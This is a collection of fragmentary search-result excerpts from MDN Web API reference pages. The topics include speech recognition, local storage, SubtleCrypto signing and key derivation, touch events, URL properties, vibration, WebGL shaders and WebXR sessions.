...mmars present in the speechgrammarlist. the weight means the importance of this grammar, or the likelihood that it will be recognised by the speech recognition service. the value can be between 0.0 and 1.0; if not specified, the default used is 1.0. ...
... specifications specification status comment web speech apithe definition of 'addfromuri()' in that specification. draft ...
SpeechRecognition.lang - Web APIs
the lang property of the speechrecognition interface returns and sets the language of the current speechrecognition. if not specified, this defaults to the html lang attribute value, or the user agent's language setting if that isn't set either. syntax var mylang = myspeechrecognition.lang; myspeechrecognition.lang = 'en-us'; value a domstring representing the bcp 47 language tag for the current speechrecognition. ...
...et either. syntax var mylang = myspeechrecognition.lang; myspeechrecognition.lang = 'en-us'; value a domstring representing the bcp 47 language tag for the current speechrecognition. examples this code is excerpted from our speech color changer example. ...
... specifications specification status comment web speech apithe definition of 'lang' in that specification. draft ...
Storage.setItem() - Web APIs
Web › API › Storage › setItem
return value undefined. exceptions setitem() may throw an exception if the storage is full. ...
... return value undefined. exceptions setitem() may throw an exception if the storage is full. ...
...e storage is full. particularly, in mobile safari (since ios 5) it always throws when the user enters private mode. (safari sets the quota to 0 bytes in private mode, unlike other browsers, which allow storage in private mode using separate data containers.) hence developers should make sure to always catch possible exceptions from setitem(). example the following function creates three data items inside local storage. function populatestorage() { localstorage.setitem('bgcolor', 'red'); localstorage.setitem('font', 'helvetica'); localstorage.setitem('image', 'mycat.png'); } note: to see this used within a real world example, see our web storage demo. specifications specification status comment html living standardthe definition of 'storage.setitem' in th...
SubtleCrypto.deriveBits() - Web APIs
the length of the bit string to derive. it returns a promise which will be fulfilled with an arraybuffer containing the derived bits. this method is very similar to subtlecrypto.derivekey(), except that derivekey() returns a cryptokey object rather than an arraybuffer. essentially derivekey() is composed of derivebits() followed by importkey(). this function supports the same derivation algorithms as derivekey(): ecdh, hkdf, and pbkdf2. see supported algorithms for some more detail on these algorithms. syntax const result = crypto.subtle.derivebits( algorithm, basekey, length ); parameters algorithm is an object defining the derivation algorithm to use. to use ecdh, pass an ecdhkeyderiveparams object. to use hkdf, pass an hkdfparams object. to use pbkdf2, pa...
... basekey is a cryptokey representing the input to the derivation algorithm. if algorithm is ecdh, this will be the ecdh private key. otherwise it will be the initial key material for the derivation function: for example, for pbkdf2 it might be a password, imported as a cryptokey using subtlecrypto.importkey(). ...
... are encountered: invalidaccesserror raised when the base key is not a key for the requested derivation algorithm or if the cryptokey.usages value of that key doesn't contain derivekey. notsupported raised when trying to use an algorithm that is either unknown or isn't suitable for derivation, or if the algorithm requested for the derived key doesn't define a key length. supported algorithms see the supported algorithms section of the derivekey() documentation. examples note: you can try the working examples on github. ecdh in this example alice and bob each generate an ecdh key pair. we then use alice's private key and bob's public key to derive a shared secret. see the complete code on github. async function derivesharedsecret(privatekey, publickey) { const sharedsecret ...
SubtleCrypto.sign() - Web APIs
Web › API › SubtleCrypto › sign
ubtlecrypto.verify() method to verify the signature. syntax const signature = crypto.subtle.sign(algorithm, key, data); parameters algorithm is a string or object that specifies the signature algorithm to use and its parameters: to use rsassa-pkcs1-v1_5, pass the string "rsassa-pkcs1-v1_5" or an object of the form { "name": "rsassa-pkcs1-v1_5" }. to use rsa-pss, pass an rsapssparams object. to use ecdsa, pass an ecdsaparams object. to use hmac, pass the string "hmac" or an object of the form { "name": "hmac" }. key is a cryptokey object containing the key to be used for signing. if algorithm identifies a public-key cryptosystem, this is the private key. data is an arraybuffer or arraybufferview object containing the data to be signed. return value signatur...
... signed. return value signature is a promise that fulfills with an arraybuffer containing the signature. exceptions the promise is rejected when the following exception is encountered: invalidaccesserror raised when the signing key is not a key for the request signing algorithm or when trying to use an algorithm that is either unknown or isn't suitable for signing. supported algorithms the web crypto api provides four algorithms that can be used for signing and signature verification. three of these algorithms — rsassa-pkcs1-v1_5, rsa-pss, and ecdsa — are public-key cryptosystems that use the private key for signing and the public key for verification. these systems all use a digest algorithm to hash the message to a short fixed size before signing. the choice of digest a...
...ions when they are invoked. ecdsa ecdsa (elliptic curve digital signature algorithm) is a variant of the digital signature algorithm, specified in fips-186, that uses elliptic curve cryptography (rfc 6090). hmac the hmac algorithm calculates and verifies hash-based message authentication codes according to the fips 198-1 standard. the digest algorithm to use is specified in the hmackeygenparams object that you pass into generatekey(), or the hmacimportparams object that you pass into importkey(). examples note: you can try the working examples out on github. rsassa-pkcs1-v1_5 this code fetches the contents of a text box, encodes it for signing, and signs it with a private key. see the complete source code on github. /* fetch the contents of the "message" textbox, and encode it i...
SubtleCrypto.verify() - Web APIs
face verifies a digital signature. it takes as its arguments a key to verify the signature with, some algorithm-specific parameters, the signature, and the original signed data. it returns a promise which will be fulfilled with a boolean value indicating whether the signature is valid. syntax const result = crypto.subtle.verify(algorithm, key, signature, data); parameters algorithm is a domstring or object defining the algorithm to use, and for some algorithm choices, some extra parameters. the values given for the extra parameters must match those passed into the corresponding sign() call. to use rsassa-pkcs1-v1_5, pass the string "rsassa-pkcs1-v1_5" or an object of the form { "name": "rsassa-pkcs1-v1_5" }. to use rsa-pss, pass an rsapssparams object. to use ecdsa, pass...
...ct defining the algorithm to use, and for some algorithm choices, some extra parameters. the values given for the extra parameters must match those passed into the corresponding sign() call. to use rsassa-pkcs1-v1_5, pass the string "rsassa-pkcs1-v1_5" or an object of the form { "name": "rsassa-pkcs1-v1_5" }. to use rsa-pss, pass an rsapssparams object. to use ecdsa, pass an ecdsaparams object. to use hmac, pass the string "hmac" or an object of the form { "name": "hmac" }. key is a cryptokey containing the key that will be used to verify the signature. it is the secret key for a symmetric algorithm and the public key for a public-key system. signature is a arraybuffer containing the signature to verify. data is a arraybuffer containing the data whose signature is to...
...is a promise that fulfills with a boolean: true if the signature is valid, false otherwise. exceptions the promise is rejected when the following exception is encountered: invalidaccesserror raised when the encryption key is not a key for the requested verifying algorithm or when trying to use an algorithm that is either unknown or isn't suitable for a verify operation. supported algorithms the verify() method supports the same algorithms as the sign() method. examples note: you can try the working examples out on github. rsassa-pkcs1-v1_5 this code uses a public key to verify a signature. see the complete code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for sign operation. */ function getmessageencoding() { const messagebo...
TaskAttributionTiming.containerId - Web APIs
specifications specification status comment long tasks api 1the definition of 'containerid' in that specification. ...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yessafari ? webview android full support 58chrome android full support 58firefox android no support noopera android full support yessafari ios ? ...
TaskAttributionTiming.containerType - Web APIs
specifications specification status comment long tasks api 1the definition of 'containertype' in that specification. working draft initial definition. ...
...t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... yessafari ? webview android full support 58chrome android full support 58firefox android no support noopera android full support yessafari ios ? ...
Touch.radiusX - Web APIs
Web › API › Touch › radiusX
the value is in css pixels of the same scale as touch.screenx. this value, in combination with touch.radiusy and touch.rotationangle constructs an ellipse that approximates the size and shape of the area of contact between the user and the screen. this may be a relatively large ellipse representing the contact between a fingertip and the screen or a small area representing the tip of a stylus, for example. note: this attribute has not been formally standardized. it is specified in the touch events – level 2 draft specification and not in touch events recommendation. ...
...screen or a small area representing the tip of a stylus, for example. note: this attribute has not been formally standardized. it is specified in the touch events – level 2 draft specification and not in touch events recommendation. this attribute is not widely implemented. syntax var xradius = touchitem.radiusx; return value xradius the x radius of the ellipse that most closely circumscribes the area of contact with the touch surface. example this example illustrates using the touch interface's touch.radiusx, touch.radiusx and touch.rotationangle properties. the touch.radiusx property is the radius of the ellipse which most closely circumscribes the touching area (e.g. finger, stylus) along the axis indicated by the touch point's touch.rotationangle. likewise, the touch.radi...
...finger, stylus) along the axis perpendicular to that indicated by touch.rotationangle. ...
Using Touch Events - Web APIs
t with the surface, releasing a touch point and canceling a touch event. this interface's attributes include the state of several modifier keys (for example the shift key) and the following touch lists: touches - a list of all of the touch points currently on the screen. targettouches - a list of the touch points on the target dom element. changedtouches - a list of the touch points whose items depends on the associated event type: for the touchstart event, it is a list of the touch points that became active with the current event. for the touchmove event, it is a list of the touch points that have changed since the last event. for the touchend event, it is a list of the touch points that have been removed from the surface (that is, the set of touch points corresponding to f...
...tes touch event support among mobile browsers is relatively broad, with desktop browser support lagging although additional implementations are in progress. some new features regarding a touch point's touch area - the area of contact between the user and the touch surface - are in the process of being standardized. ...
...to help address this problem, the pointer events standard defines events and related interfaces for handling hardware agnostic pointer input from devices including a mouse, pen, touchscreen, etc.. ...
TrackDefault.TrackDefault() - Web APIs
the trackdefault() constructor of the trackdefault interface constructs and returns a new trackdefault object. syntax var trackdefault = new trackdefault(type, language, label, kinds, bytestreamtrackid); parameters type a domstring specifying a media segment data type for the sourcebuffer to contain. can be audio, video, or text. language a domstring specifying a default language for the sourcebuffer to use when an initialization segment does not contain language information for a new track. ...
... var trackdefault = new trackdefault(type, language, label, kinds, bytestreamtrackid); parameters type a domstring specifying a media segment data type for the sourcebuffer to contain. can be audio, video, or text. language a domstring specifying a default language for the sourcebuffer to use when an initialization segment does not contain language information for a new track. label a domstring specifying a default label for the sourcebuffer to use when an initialization segment does not contain label information for a new track. ...
...to contain. can be audio, video, or text. language a domstring specifying a default language for the sourcebuffer to use when an initialization segment does not contain language information for a new track. label a domstring specifying a default label for the sourcebuffer to use when an initialization segment does not contain label information for a new track. kinds an array (sequence) of domstrings specifying default kinds for the sourcebuffer to use when an initialization segment does not contain kind information for a new track. bytestreamtrackid optional a domstring specifying the id of the specific track that the sourcebuffer should apply to. if not specified, this value will be an empty string and the sourcebuffer can contain any tracks of the specified type. errors when thi...
UIEvent.initUIEvent() - Web APIs
spatched, using eventtarget.dispatchevent(). once dispatched, it doesn't do anything anymore. do not use this method anymore as it is deprecated. instead use specific event constructors, like uievent(). the page on creating and triggering events gives more information about the way to use these. syntax event.inituievent(type, canbubble, cancelable, view, detail) parameters type is a domstring defining the type of event. canbubble is a boolean deciding whether the event should bubble up through the event chain or not. once set, the read-only property event.bubbles will give its value. cancelable is a boolean defining whether the event can be canceled. once set, the read-only property event.cancelable will give its value. view is the windowproxy associated with the event. de...
...te initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new websites.depr...
UIEvent.layerX - Web APIs
Web › API › UIEvent › layerX
tioned element, where the returned value is relative to the top left of the positioned element. syntax var xpos = event.layerx xpos is an integer value in pixels for the x-coordinate of the mouse pointer, when the mouse event fired. ...
... not part of any specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cross-browser support.non-standard. expect poor cross-browser support. ...
URL.createObjectURL() - Web APIs
the url.createobjecturl() static method creates a domstring containing a url representing the object given in the parameter. the url lifetime is tied to the document in the window on which it was created. the new object url represents the specified file object or blob object. to release an object url, call revokeobjecturl(). note: this feature is available in web workers. note: this feature is not available in service workers due to its potential to create memory leaks. syntax const objecturl = url.createobjecturl(object) parameters object a file, blob, or mediasource object to create an object url for. return value a domstring containing an object url that can be used to reference the contents of the specified source object. examples see using object urls to display im...
...ated, even if you've already created one for the same object. each of these must be released by calling url.revokeobjecturl() when you no longer need them. browsers will release object urls automatically when the document is unloaded; however, for optimal performance and memory usage, if there are safe times when you can explicitly unload them, you should do so. ...
... specifications specification status comment file apithe definition of 'createobjecturl()' in that specification. working draft initial definition. ...
URLUtilsReadOnly.hash - Web APIs
the hash is not percent encoded. syntax string = object.hash; examples // in a web worker, on the page https://developer.mozilla.org/docs/urlutilsreadonly.hash#example var result = window.self.hash; // returns:'#hash' specifications specification status comment urlthe definition of 'urlutilsreadonly.hash' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
...rd initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...upport 38 full support 38 no support 4 — 38notes notes before firefox 38, firefox returned the hash percent encoded. this has been fixed to match the spec.opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation no...
URLUtilsReadOnly.host - Web APIs
syntax string = object.host; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.host var result = window.self.host; // returns:'developer.mozilla.org:80' specifications specification status comment urlthe definition of 'urlutilsreadonly.host' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
...rd initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
URLUtilsReadOnly.hostname - Web APIs
syntax string = object.hostname; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.hostname var result = window.self.hostname; // returns:'developer.mozilla.org' specifications specification status comment urlthe definition of 'urlutilsreadonly.hostname' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rd initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
URLUtilsReadOnly.href - Web APIs
syntax string = object.href; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.href; // returns:'https://developer.mozilla.org/urlutilsreadonly.href' specifications specification status comment urlthe definition of 'urlutilsreadonly.href' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
...rd initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
URLUtilsReadOnly.origin - Web APIs
for url using file: scheme, the value is browser dependant. this version of origin is implemented by workerlocation for use on workers. ...
...rd initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
URLUtilsReadOnly.pathname - Web APIs
syntax string = object.pathname; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.pathname var result = window.self.pathname; // returns:'/urlutilsreadonly.pathname' specifications specification status comment urlthe definition of 'urlutilsreadonly.pathname' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
...rd initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
URLUtilsReadOnly.port - Web APIs
syntax string = object.port; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.port var result = window.self.port; // returns:'80' specifications specification status comment urlthe definition of 'urlutilsreadonly.port' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rd initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
URLUtilsReadOnly.protocol - Web APIs
syntax string = object.protocol; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.protocol; // returns:'https:' specifications specification status comment urlthe definition of 'urlutilsreadonly.protocol' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
...rd initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
URLUtilsReadOnly.search - Web APIs
syntax string = object.search; examples // in a web worker, on the page https://developer.mozilla.org/docs/urlutilsreadonly.href?t=67 var result = window.self.search; // returns:'?t=67' specifications specification status comment urlthe definition of 'urlutilsreadonly.search' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rd initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
URLUtilsReadOnly.toString() - Web APIs
the urlutilsreadonly.tostring() stringifier method returns a domstring containing the whole url. it is a synonym for urlutilsreadonly.href. syntax string = object.tostring(); examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.tostring(); // returns:'https://developer.mozilla.org/urlutilsreadonly.href' browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...lla.org/urlutilsreadonly.href' browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect behavior to change in the future.experimental. expect behavior to change in the future. ...
Vibration API - Web APIs
or an array of integers describing a pattern of vibrations and pauses. vibration is controlled with a single method: navigator.vibrate(). a single vibration you may pulse the vibration hardware one time by specifying either a single value or an array consisting of only one value: window.navigator.vibrate(200); window.navigator.vibrate([200]); both of these examples vibrate the device for 200 ms. vibration patterns an array of values describes alternating periods in which the device is vibrating and not vibrating. each value in the array is converted to an integer, then interpreted alternately as the number of milliseconds the device should vibrate and the number of milliseconds it should not be vibrating. for example: window.navigator.vibrate([200, 100, 200]); this vibrates the dev...
... patterns an array of values describes alternating periods in which the device is vibrating and not vibrating. each value in the array is converted to an integer, then interpreted alternately as the number of milliseconds the device should vibrate and the number of milliseconds it should not be vibrating. for example: window.navigator.vibrate([200, 100, 200]); this vibrates the device for 200 ms, then pauses for 100 ms before vibrating the device again for another 200 ms. you may specify as many vibration/pause pairs as you like, and you may provide either an even or odd number of entries; it's worth noting that you don't have to provide a pause as your last entry since the vibration automatically stops at the end of each vibration period. canceling existing vibrations calling navigat...
... specifications specification status comment vibration api recommendation linked to spec is the latest editor's draft; w3c version is a rec. ...
VideoTrack - Web APIs
bject is to toggle its selected property in order to make it the active video track for its <video> element. properties selected a boolean value which controls whether or not the video track is active. only a single video track can be active at any given time, so setting this property to true for one track while another track is active will make that other track inactive. ...
...l make that other track inactive. id read only a domstring which uniquely identifies the track within the media. this id can be used to locate a specific track within a video track list by calling videotracklist.gettrackbyid(). the id can also be used as the fragment part of the url if the media supports seeking by media fragment per the media fragments uri specification. kind read only a domstring specifying the category into which the track falls. for example, the main video track would have a kind of "main". label read only a domstring providing a human-readable label for the track. for example, a track whose kind is "sign" might have a label of "a sign-language interpretation". this string is empty if no label is provided. ...
...the language is specified as a bcp 47 (rfc 5646) language code, such as "en-us" or "pt-br". sourcebuffer read only the sourcebuffer that created the track. ...
WaveShaperNode.WaveShaperNode() - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...e android full support 55notes full support 55notes notes before chrome 59, the default values were not supported.firefox android full support 53opera android full support 42safari ios ? ...
...fault values were not supported.firefox android full support 53opera android full support 42safari ios ? ...
WebGLRenderingContext - Web APIs
webglrenderingcontext.istexture() returns a boolean indicating if the passed webgltexture is valid. webglrenderingcontext.teximage2d() specifies a 2d texture image. webglrenderingcontext.texsubimage2d() updates a sub-rectangle of the current webgltexture. webglrenderingcontext.texparameterf() sets texture parameters. webglrenderingcontext.texparameteri() sets texture parameters. programs and shaders webglrenderingcontext.attachshader() attaches a webglshader to a webglprogram. webglrenderingcontext.bindattriblocation() binds a generic vertex index to a named attribute variable. webglrenderingcontext.compileshader() compiles a webglshader. webglrenderingcontext.createprogram() creates a webglprogram. webglrenderingcontext.createshader() creates a webglshader. webglren...
...eturns a boolean indicating if the passed webglshader is valid. webglrenderingcontext.linkprogram() links the passed webglprogram object. webglrenderingcontext.shadersource() sets the source code in a webglshader. webglrenderingcontext.useprogram() uses the specified webglprogram as part the current rendering state. webglrenderingcontext.validateprogram() validates a webglprogram. uniforms and attributes webglrenderingcontext.disablevertexattribarray() disables a vertex attribute array at a given position. webglrenderingcontext.enablevertexattribarray() enables a vertex attribute array at a given position. webglrenderingcontext.getactiveattrib() returns information about an active attribute variable. webglrenderingcontext.getactiveuniform() returns information about an ac...
...mitives from element array data. webglrenderingcontext.finish() blocks execution until all previously called commands are finished. webglrenderingcontext.flush() empties different buffer commands, causing all commands to be executed as quickly as possible. working with extensions these methods manage webgl extensions: webglrenderingcontext.getsupportedextensions() returns an array of domstring elements with all the supported webgl extensions. webglrenderingcontext.getextension() returns an extension object. examples webgl context feature detection in this first example we are going to check whether the browser supports webgl. to that end we will try to obtain the webgl rendering context from a canvas element. the webgl rendering context is an interface, through which you can...
Data in WebGL - Web APIs
Web › API › WebGL API › Data
attributes attributes are glsl variables which are only available to the vertex shader (as variables) and the javascript code. ...
...epending on the data store type) and possibly by the site's javascript code, depending on the specific type of variable. glsl data types <<document the basic types, vectors, etc; see data type (glsl) on the khronos webgl wiki>> glsl variables there are three kinds of "variable" or data storage available in glsl, each of which with its own purpose and use cases: attributes, varyings, and uniforms. attributes attributes are glsl variables which are only available to the vertex shader (as variables) and the javascript code. attributes are typically used to store color information, texture coordinates, and any other data calculated or retrieved that needs to be shared between the javascript code and the vertex shader. //init colors var vertexcolors = [ vec4( 0.0, 0.0, 0.0, 1...
...alse, 0, 0 ); gl.enablevertexattribarray( vcolor ); //glsl attribute vec4 vcolor; void main() { fcolor = vcolor; } varyings varyings are variables that are declared by the vertex shader and used to pass data from the vertex shader to the fragment shader. this is commonly used to share a vertex's normal vector after it has been computed by the vertex shader. <<how to use>> uniforms uniforms are set by the javascript code and are available to both the vertex and fragment shaders. they're used to provide values that will be the same for everything drawn in the frame, such as lighting positions and magnitudes, global transformation and perspective details, and so forth. <<add details>> buffers <<add information>> textures <<add information>> ...
Matrix math for the web - Web APIs
while this article uses css to simplify explanations, matrices are a core concept used by many different technologies including webgl, the webxr (vr and ar) api, and glsl shaders. ...
...atezmatrix = [ cos(a), -sin(a), 0, 0, sin(a), cos(a), 0, 0, 0, 0, 1, 0, 0, 0, 0, 1 ]; view on jsfiddle here are a set of functions that return rotation matrices for rotating around each of the three axes. one big note is that there is no perspective applied, so it might not feel very 3d yet. the flatness is equivalent to when a camera zooms in really close onto an object in the distance — the sense of perspective disappears. function rotatearoundxaxis(a) { return [ 1, 0, 0, 0, 0, cos(a), -sin(a), 0, 0, sin(a), cos(a), 0, 0, 0, 0, 1 ]; } function rotatearoundyaxis(a) { return [ cos(a), 0, sin(a), 0, 0, 1, 0, 0, -sin(a)...
...undzaxis(math.pi * 0.5), // step 3: rotate around 90 degrees translate(0, 200, 0), // step 2: move down 100 pixels scale(0.8, 0.8, 0.8), // step 1: scale down ]); why matrices are important matrices are important because they comprise a small set of numbers that can describe a wide range of transformations in space. they can easily be shared around in programs. different coordinate spaces can be described with matrices, and some matrix multiplication will move one set of data from one coordinate space to another coordinate space. matrices effectively remember every part of the previous transforms that were used to generate them. for uses in webgl, the graphics card is particularly good at multiplying a large number of points in space by matrices. diff...
Adding 2D content to a WebGL context - Web APIs
ext. vertex shader each time a shape is rendered, the vertex shader is run for each vertex in the shape. its job is to transform the input vertex from its original coordinate system into the clip space coordinate system used by webgl, in which each axis has a range from -1.0 to 1.0, regardless of aspect ratio, actual size, or any other factors. the vertex shader must perform the needed transforms on the vertex's position, make any other adjustments or calculations it needs to make on a per-vertex basis, then return the transformed vertex by saving it in a special variable provided by glsl, called gl_position. the vertex shader can, as needed, also do things like determine the coordinates within the face's texture of the texel to apply to the vertex, apply the normals to determine the lig...
...icate a failure to load the shader. if the shader was loaded and successfully compiled, the compiled shader is returned to the caller. to use this code we call it like this const shaderprogram = initshaderprogram(gl, vssource, fssource); after we've created a shader program we need to look up the locations that webgl assigned to our inputs. in this case we have one attribute and two uniforms. attributes receive values from buffers. each iteration of the vertex shader receives the next value from the buffer assigned to that attribute. uniforms are similar to javascript global variables. they stay the same value for all iterations of a shader. since the attribute and uniform locations are specific to a single shader program we'll store them together to make them easy to pass around ...
...buffer, buffers.position); gl.vertexattribpointer( programinfo.attriblocations.vertexposition, numcomponents, type, normalize, stride, offset); gl.enablevertexattribarray( programinfo.attriblocations.vertexposition); } // tell webgl to use our program when drawing gl.useprogram(programinfo.program); // set the shader uniforms gl.uniformmatrix4fv( programinfo.uniformlocations.projectionmatrix, false, projectionmatrix); gl.uniformmatrix4fv( programinfo.uniformlocations.modelviewmatrix, false, modelviewmatrix); { const offset = 0; const vertexcount = 4; gl.drawarrays(gl.triangle_strip, offset, vertexcount); } } the first step is to clear the canvas to our backg...
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
rotocol) to ensure that the exchanged data is secure and authenticated as appropriate. keeping latency to a minimum is especially important for webrtc, since face-to-face communication needs to be performed with as little latency as possible. the more time lag there is between one user saying something and another hearing it, the more likely there is to be episodes of cross-talking and other forms of confusion. key features of rtp before examining rtp's use in webrtc contexts, it's useful to have a general idea of what rtp does and does not offer. rtp is a data transport protocol, whose mission is to move data between two endpoints as efficiently as possible under current conditions. those conditions may be affected by everything from the underlying layers of the network stack to the phy...
...nformation sharing, and the like. it isn't adequate for the purposes of fully managing users, memberships, permissions, and so forth, but provides the basics needed for an unrestricted multi-user communication session. the very fact that rtcp is defined in the same rfc as rtp is a clue as to just how closely-interrelated these two protocols are. capabilities of rtp rtp's primary benefits in terms of webrtc include: generally low latency. packets are sequence-numbered and time-stamped for reassembly if they arrive out of order. this lets data sent using rtp be delivered on transports that don't guarantee ordering or even guarantee delivery at all. this means rtp can be — but is not required to be — used atop udp for its performance as well as its multiplexing and checksum features...
... and one rtp receiver which share an sdp mid attribute, which means they share the same sdp media m-line (representing a bidirectional srtp stream). these are returned by the rtcpeerconnection.gettransceivers() method, and each mid and transceiver share a one-to-one relationship, with the mid being unique for each rtcpeerconnection. leveraging rtp to implement a "hold" feature because the streams for an rtcpeerconnection are implemented using rtp and the interfaces above, you can take advantage of the access this gives you to the internals of streams to make adjustments. among the simplest things you can do is to implement a "hold" feature, wherein a participant in a call can click a button and turn off their microphone, begin sending music to the other peer instead, and stop accepting in...
Fundamentals of WebXR - Web APIs
propriate session mode string for the kind of session you want to create. virtual reality in a vr environment, the entire image is digitally created by your app or site, from foreground objects all the way to the background or skybox. your frame drawing code will have to redraw every pixel of each view during each frame in order to avoid the potential of artifacts being left behind. some platforms may provide previously-cleared frames to you, while others may optimize performance by not erasing the framebuffers in order to avoid having to touch each pixel twice per frame. there are two vr session modes available in webxr: inline and immersive. the former, specified by the session mode string inline, presents the rendered scene within the context of a document in a web browser, and doesn't...
... discomfort, disorientation, or even serious nausea during and sometimes for a short time after the experience. there are a number of theories surrounding exactly what about virtual reality causes some people to feel uncomfortable or sick, most of which focusing on the idea that even subtle differences between what the brain thinks should be happening and what is being seen can cause these symptoms. defects, misalignments, or distortion can confuse the eyes and the brain, resulting in anything from aching eyes or headache to in some cases vertigo, dizziness, or potentially severe nausea. it's also important to be alert for anything you may display that may have the potential to trigger seizures, given the all-encompassing nature of a headset; the user may not be able to quickly look away f...
...gramming as well as for game development when you want to do the logic yourself. they're designed for creating and animating 3d scenes regardless of context. a-frame (specifically designed for creating webxr-based apps) babylon.js three.js game toolkits the game toolkits are designed for game developers and often include gaming-specific features such as physics models, input control systems, asset management, 3d sound playback, and the like. playcanvas next steps with these basic facts in hand, you're ready to take those next steps into the world of mixed reality. the following articles can help. webxr application life cycle starting up and shutting down a webxr session movement, orientation, and motion: a webxr example ...
Movement, orientation, and motion: A WebXR example - Web APIs
situations. the vertex and fragment shaders the vertex and fragment shaders are both exactly the same as those used in the example for our article lighting in webgl. refer to that if you're interested in the glsl source code for the basic shaders used here. suffice it to say that the vertex shader computes the position of each vertex given the initial positions of each vertex and the transforms that need to be applied to convert them to simulate the viewer's current position and orientation. the fragment shader returns the color of each vertex, interpolating as needed from the values found in the texture and applying the lighting effects. starting up and shutting down webxr upon initially loading the script, we install a handler for the load event, so that we can perform initializatio...
...ng of the view based upon the movement of the mouse. since the "mouselook" feature functions only while the right mouse button is held down, and clicking using the right mouse button triggers the context menu, we add a handler for the contextmenu event to the canvas to prevent the context menu fom appearing when the user initially begins their drag of the mouse. next, we compile the shader programs; get references to its variables; initialize the buffers that store the array of each position; the indexes into the position table for each vertex; the vertex normals; and the texture coordinates for each vertex. this is all taken directly from the webgl sample code, so refer to lighting in webgl and its preceding articles creating 3d objects using webgl and using textures in webgl. then our loa...
...ngth; gl.canvas.height = viewport.height; drawscene(gl, view, programinfo, buffers, texture, deltatime); } } } the first thing we do is call requestanimationframe() to request that drawframe() be called again for the next frame to be rendered. then we pass the object's reference space into the applyviewercontrols() function, which returns a revised xrreferencespace that transforms the position and orientation of the object to take into account the movement, pitch, and yaw applied by the user using the keyboard and mouse. remember that, as always, the world's objects are moved and reoriented, not the viewer. the returned reference space makes it easy for us to do just that. with the new reference space in hand, we get the xrviewerpose representing the viewer's point of vie...
Starting up and shutting down a WebXR session - Web APIs
in several versions depending on what degree of compatibility with newer javascript features your target browsers include. webxr api emulator extension the mozilla webxr team has created a webxr api emulator browser extension, compatible with both firefox and chrome, which emulates the webxr api, simulating a variety of compatible devices such as the htc vive, the oculus go and oculus quest, samsung gear, and google cardboard. with the extension in place, you can open up a developer tools panel that lets you control the position and orientation of the headset and any hand controllers, as well as button presses on the controllers. emulator usage while somewhat awkward compared to using an actual headset, this makes it possible to experiment with and developer webxr code on a desktop comp...
